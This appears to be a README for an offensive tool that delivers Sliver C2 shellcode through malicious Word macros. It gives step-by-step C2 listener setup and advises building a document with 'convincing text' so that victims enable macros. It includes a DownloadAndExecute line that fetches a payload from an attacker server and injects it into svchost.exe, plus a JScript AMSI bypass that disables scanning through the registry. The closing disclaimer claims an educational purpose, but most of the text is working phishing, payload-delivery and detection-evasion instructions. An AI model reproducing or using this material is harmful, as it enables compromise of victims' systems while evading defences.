_____ _________.__ .__
/ \ _____ ___________ ____ / _____/| | |__|__ __ ___________
/ \ / \\__ \ _/ ___\_ __ \/ _ \\_____ \ | | | \ \/ // __ \_ __ \
/ Y \/ __ \\ \___| | \( <_> ) \| |_| |\ /\ ___/| | \/
\____|__ (____ /\___ >__| \____/_______ /|____/__| \_/ \___ >__|
\/ \/ \/ \/ \/
Macro Fishing with Sliver C2
Backport of SliverLoader DLL, wellknown through Ycf-Kel Powershell Stager for Sliver Shellcode, from .net4 Framework to .net2 to make it usable as assembly in vba scripts generated by DotNetToJScript.
If you want to generate VBA scripts with DotNetToJScript, the assembly must be built with .NET Framework version 2.0 to reference class methods through Visual Basic. The assembly from the stager built by Ycf-Kel was written for .NET Framework v4.7 and thus could not be used as a drop-in assembly. This is because Office pre-loads a core DLL into memory before the script runs, which forces the loaded Common Language Runtime (CLR) to always be version 2.0 to access methods from invoked assemblies.
A workaround for this issue is to use the ActCtx object with a custom manifest to load version 4.0 classes into VBA, even though its CLR is set to version 2.0. However, I decided against this approach and instead backported the code to .NET Framework 2.0.
The stager retains the same features as the original:
Follow the installation guide on the (wiki page)[https://sliver.sh/docs?name=Linux+Install+Script] to install Sliver C2
When the setup is complete, a profile is created first, followed by the initiation of a listener with a self-signed certificate to encrypt the transport. Finally, a stage listener is instantiated. The choice of how to create the certificate is yours; you just need a .key and a .crt file to pass to the listener. You can generate these files using Metasploit's “auxiliary/gather/impersonate_ssl” module on "random.com" for more obfuscation, or you can create a self-signed certificate.
profiles new -b https://192.168.X.X:443 --format shellcode --arch x86 lab
# --arch either x86 or amd64 depending on the office version (most probably x86).
# lab is the name of the profile. you can use any name you want.
# -b for specifying HTTPS as the protocol.
.crt
and .key
files
https -L 192.168.X.X -l 443 -c /tmp/crt.crt -k /tmp/key.key
stage-listener --url https://192.168.X.X:8080 --profile lab -c /tmp/crt.crt -k /tmp/key.key -C deflate9 --aes-encrypt-key D(G+KbPeShVmYq3t6v9y$B&E)H@McQfT --aes-encrypt-iv 8y/B?E(G+KbPeShV
# -C deflate9, gzip or no compression is supported.
# --profile must match the created profile name.
# --aes-encrypt-key The key used for the encription.
# --aes-encrypt-iv The injection vector.
This will result in two jobs running on ports 443
and 8080
, both with TLS enabled.
The file macrosliver.vba
contains the VBA code that is directly usable in Word. Create a .docm
file with convincing text to prompt the victim to enable macro execution, ensuring that the Run()
function is triggered, for example, by calling it in the Auto_Open()
trigger or a similar method, to catch the session with the instantiated listener. When the VBA function is executed, it deserializes the embedded stager DLL and invokes it. After that, the functions of the loader class can be called using the object o
.
Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)
o.DownloadAndExecute "https://192.168.X.X:8080/hello.woff", "svchost.exe", "deflate9", "D(G+KbPeShVmYq3t6v9y$B&E)H@McQfT", "8y/B?E(G+KbPeShV"
The arguments to pass are:
deflate9
, gzip
, or an empty string if no compression was chosen when the listener was created.The assembly can also be built by yourself if additional functionality is needed or if further obfuscation and AMSI bypass are required. To do this, open the solution file and build the integrated MacroSliver Project. It has to be built for the Any CPU configuration and does not need to be specified for a particular architecture. This allows the stage listener to provide the correct architecture for the target Office version.
The changes to the original stager include the handling of decompression in .NET v2 compared to .NET v4 and the AES decryption class. Additionally, VBA passes all parameters as strings rather than byte arrays, as in the original stager. So the aes key and iv are passed as strings.
After the assembly has been built, it can be used to create a VBA, HTA, or JScript script with DotNetToJScript.
To generate the VBA script using DotNetToJScript, follow these steps:
Here are the detailed steps:
git clone https://github.com/tyranid/DotNetToJScript.git
cd DotNetToJScript
msbuild /p:Configuration=Release
DotNetToJScript.exe
and NDesk.Options.dll
from the build output directory (usually bin\Release
) to a new folder.MacroSliver.dll
to the same folder.
DotNetToJScript.exe
, NDesk.Options.dll
, and MacroSliver.dll
..\DotNetToJScript.exe .\MacroSliver.dll --lang=vba --ver=v2 -c=Loader -o macrosliver.vba
This command will create a macrosliver.vba
file that contains the VBA script generated from the MacroSliver.dll
.
Finally add the call of DownloadAndExecute
to trigger the stager instantiation.
o.DownloadAndExecute "https://192.168.X.X:8080/hello.woff", "svchost.exe", "deflate9", "D(G+KbPeShVmYq3t6v9y$B&E)H@McQfT", "8y/B?E(G+KbPeShV"
You can also create JScript payloads to deliver the dll via java script. Follow allong but transfer the methodolgy to JS. I believe you are smart enough to figure out how to do.
Bypassing AMSI highly reduces the detection rate, but DN2JS doesn't provide one natively. So, you can add the below AMSI bypass to your output JScript payloads much like I've done to the examples I've included in this repo.
NOTE: You must do the bypass after the
setversion()
method runs or your payload will break. Credit: rxwx/bypass.js (although its a pretty well-known bypass)// 4MS7_BYP455 var sh = new ActiveXObject('WScript.Shell'); var key = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable";
try{ var AmsiEnable = sh.RegRead(key); if(AmsiEnable!=0){ throw new Error(1, ''); } }catch(e){ sh.RegWrite(key, 0, "REG_DWORD"); // neuter AMSI sh.Run("cscript -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58} "+WScript.ScriptFullName,0,1); // blocking call to Run() sh.RegWrite(key, 1, "REG_DWORD"); // put it back WScript.Quit(1); }
Sometimes the AMSI bypass itself is what gets your payload flagged so feel free to play around with it.
## Disclaimer
**WARNING: This repository contains malware and potentially harmful code. It is intended for educational purposes only.**
### Important Information
**Purpose:** The contents of this repository are provided for research and educational purposes only. The goal is to help security professionals, researchers, and students understand malware, its behavior, and methods to detect and mitigate it.
**Legal Use:** You are strictly prohibited from using any code or information from this repository for malicious purposes or illegal activities. Unauthorized use of this material to cause harm, breach security, or compromise systems is against the law and strictly forbidden.
**Responsibility:** The authors and contributors of this repository do not take any responsibility for any damage or harm caused by the use or misuse of the content provided herein. Users are fully responsible for their actions and must comply with all applicable laws and regulations.
**Safe Environment:** Always use a controlled, isolated, and safe environment, such as a virtual machine or sandbox, when testing or experimenting with the code in this repository. Ensure that your testing environment is disconnected from any networks to prevent unintended spread or damage.
**Ethical Use:** This repository aims to promote ethical hacking, cybersecurity awareness, and the development of effective defenses against malware. By using this repository, you agree to adhere to ethical guidelines and use the content responsibly.
### Acknowledgment
By accessing, cloning, or using any part of this repository, you acknowledge that you have read, understood, and agree to this disclaimer. You also acknowledge that you will use the information responsibly and ethically.
**If you do not agree with the terms outlined above, do not access or use the contents of this repository.**